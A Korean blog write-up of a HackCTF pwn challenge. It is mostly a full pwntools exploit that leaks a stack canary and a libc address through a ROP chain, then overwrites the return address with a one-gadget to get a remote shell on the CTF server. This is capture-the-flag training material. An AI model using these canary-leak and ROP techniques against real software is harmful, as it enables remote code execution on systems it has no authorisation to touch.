350점 짜리라 분명히 쉬운 풀이가 있을 텐데,, 난 너무 어렵게 푼거 같다. scanf 함수는 널을 만나면 종료되고 문자열 끝에 널을 붙여서 그걸로 페이로드를 만드는게 어렵지는 않았고 좀 번거로웠다.

카나리 릭하고 libc 주소 릭해서 원가젯을 리턴 덮는 식으로 했다. 문제에 libc 파일도 주지 않아서 아마 이렇게 푸는 게 아닌 것 같은데.. libc는 다른 문제에 있던 libc.so.6과 오프셋을 비교해보니 같아서 그걸로 하니 됐다.

Exploit Code

from pwn import *

setvbuf_got = 0x601040
puts_plt = 0x4005e0
setvbuf_offset = 0x6fe70
onegadget_offset = 0xf1147

rbp = 0x400880
pop_rdi = 0x4008e3
pop_rsi_r15 = 0x4008e1
main = 0x400727

def make_payload(payload):
    p.sendlineafter('No)\n', 'Yes')
    p.sendlineafter(')\n', payload)

#p=process('./tool')
p=remote('ctf.j0n9hyun.xyz', 3027)

# Leak canary
p.sendlineafter(')', 'A')
make_payload('A'*0x39)
p.recvuntil('AAAAAAA')
canary=u64('\x00'+p.recv(7))
log.info('canary : '+hex(canary))

# Leak libc addr
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x8+'E'*0x7)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x8+'E'*0x6)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x8+'E'*0x5)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x8+'E'*0x4)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x8+'\x27\x07\x40')
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x7)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x6)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x5)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'D'*0x4)
make_payload('A'*0x88+'B'*0x8+'C'*0x8+'\xe0\x05\x40')
make_payload('A'*0x88+'B'*0x8+'C'*0x7)
make_payload('A'*0x88+'B'*0x8+'C'*0x6)
make_payload('A'*0x88+'B'*0x8+'C'*0x5)
make_payload('A'*0x88+'B'*0x8+'C'*0x4)
make_payload('A'*0x88+'B'*0x8+'\x40\x10\x60')
make_payload('A'*0x88+'B'*0x7)
make_payload('A'*0x88+'B'*0x6)
make_payload('A'*0x88+'B'*0x5)
make_payload('A'*0x88+'B'*0x4)
make_payload('A'*0x88+'\xe3\x08\x40')
make_payload('A'*0x78+p64(canary+64))
make_payload('A'*0x38)

p.sendlineafter('No)\n', 'No')
setvbuf_addr=u64(p.recv(6)+'\x00'*2)
log.info('setvbuf addr : '+hex(setvbuf_addr))
libc_base = setvbuf_addr - setvbuf_offset
log.info('libc base : '+hex(libc_base))
onegadget = libc_base + onegadget_offset

# onegadget
p.sendlineafter(')', 'A')
make_payload('A'*0x88+p64(onegadget))
make_payload('A'*0x78+p64(canary+64))
make_payload('A'*0x38)

p.sendlineafter('No)\n', 'No')
p.interactive()

Capture the Flag

image

'Writeup [pwn] > HackCTF' 카테고리의 다른 글

Unexploitable #1  (0) 2020.03.07
RTL_Core  (0) 2020.03.07
ROP  (0) 2020.03.07
Beginner_Heap  (0) 2020.03.07
babyheap  (0) 2020.03.07

+ Recent posts